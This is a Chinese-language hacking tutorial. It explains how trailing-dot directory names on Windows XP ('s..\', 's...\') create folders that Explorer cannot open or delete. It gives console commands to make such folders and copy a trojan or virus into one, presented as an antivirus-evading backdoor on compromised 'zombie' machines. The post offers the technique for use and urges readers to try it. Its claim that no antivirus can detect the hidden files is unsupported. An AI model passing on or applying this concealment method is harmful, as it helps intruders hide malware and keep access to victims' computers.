你要說(shuō)是修改木馬、病毒其中代碼或加密也或者說(shuō)加殼等來(lái)逃避殺軟，錯了，誰(shuí)也不保證你修改過(guò)的木馬、病毒不被殺。殺毒商不是吃干飯的?。。。。?！
ok，我們運行CMD。先說(shuō)一下原理：
---大家都知道在Windows中"\"符號是路徑的分隔符號，比如"C:\Windows\"的意思就是C分區中的Windows文件夾，
"C:\Windows\System.exe"的意思就是C分區中的Windows文件夾中的System.exe文件，好繼續我們假設一下：
如果文件名中有"\"符號會(huì )怎么樣呢？假如"S\"是一個(gè)文件夾的名字，這個(gè)文件夾位于："F:\"，他的路徑就是"F:\S\"，
這個(gè)可以理解的吧?。。。?！
當我們試圖訪(fǎng)問(wèn)的時(shí)候Windows會(huì )錯誤的認為我們要打開(kāi)的文件是C分區的S文件夾，這樣Windows就無(wú)法打開(kāi)并且會(huì )返回一個(gè)錯誤，
因為以上的路徑并不存在。
也許你現在正在嘗試創(chuàng )建"S\"文件，但是Windows會(huì )提示你："\"符號是不能作為文件、文件夾的名字的。
看來(lái)微軟還是早已想到這一點(diǎn)了的。OK我們繼續進(jìn)行，就不信不能建立包含"\"符號的文件。
進(jìn)入Windows后 點(diǎn)擊：開(kāi)始>運行 然后輸入"cmd"并回車(chē)
（如果是Win98請輸入"COMMAND"），這時(shí)你會(huì )看到Windows的命令控制臺，我們就是要利用它完成我們剩下的測試，
以下{}中的字符是我的注釋?zhuān)?br>----------------------------------------------
Microsoft Windows XP [版本 5.1.2600]
(C) 版權所有 1985-2001 Microsoft Corp.
c:\mkdir s\ {我們的第一次嘗試,結果Windows只創(chuàng )建了S文件夾"\"被忽略掉了} 失敗一次。。接著(zhù)干。。。
c:\mkdir s\s1\ {還是失敗,Windows先創(chuàng )建了S文件夾，然后在S內創(chuàng )建s1文件夾}
c:\mkdir s.\ {"s.\"被解析成S".\"又被忽略了}
子目錄或文件 s.\ 已經(jīng)存在。
c:\mkdir s..\ {終于成功了,現在你可以在資源管理器看到"s."但卻無(wú)法打開(kāi)/刪除}
c:\mkdir s...\ {又成功了,在資源瀏覽器能看到"s.."可以打開(kāi)但是無(wú)法刪除}
----------------------------------------------
為什么會(huì )這樣？我們先說(shuō)你看到的這個(gè)"S."文件夾，他即不能打開(kāi)也不能刪除，不能打開(kāi)是
因為他的實(shí)際路徑是"c:\s..\"（我們自己創(chuàng )建的所以可以確定他的實(shí)際路徑）
但是在Windows資源管理器中名字變成了"S."也就是說(shuō)當你試圖打開(kāi)它的時(shí)候Windows實(shí)際上
嘗試打開(kāi)"c:\s.\"當然是不能打開(kāi)的，文件并不存在，所以Windows會(huì )報錯。不能刪除也是因為這個(gè)，
Windows把一個(gè)實(shí)際存在的文件路徑錯誤的解析為一個(gè)不存在的路徑，并進(jìn)行xx作當然是無(wú)法完成的。
該說(shuō)"S.."這個(gè)文件了，這個(gè)文件可以打開(kāi)，但是卻無(wú)法刪除。等等……打開(kāi)？你以為Windows真的是打開(kāi)了我們
創(chuàng )建的"s...\"文件了嗎？我們做下面的試驗你就明白了:
----------------------------------------------
Microsoft Windows XP [版本 5.1.2600]
(C) 版權所有 1985-2001 Microsoft Corp.
c:\copy 1.exe s...\ {復制剛剛你的木馬、病毒文件到"s...\}
已復制 1 個(gè)文件。
c:\
----------------------------------------------
這是關(guān)鍵的話(huà)題了，其實(shí)我們就利用S.目錄不被殺的目的來(lái)隱藏我們的木馬、病毒，
就算專(zhuān)業(yè)級的殺毒軟件也查殺不了，具體怎么去利用這個(gè)BUG。呵呵~~就看你的了?。。?！
好了那就說(shuō)一下刪除方法吧:
-----------------------------------------
Microsoft Windows XP [版本 5.1.2600]
(C) 版權所有 1985-2001 Microsoft Corp.
c:\rmdir s..\
目錄不是空的。
c:\rmdir s..\ /s
s..\, 是否確認(Y/N)? y
c:\rmdir s...\ /s
s...\, 是否確認(Y/N)? y
-----------------------------
這也不用擔心搞壞你肉雞了，好了這樣一個(gè)很隱蔽的后門(mén)就建立了，而且不被殺。
呵呵~~怎樣?？炊藛?？自己試試吧?。。?！
聯(lián)系客服
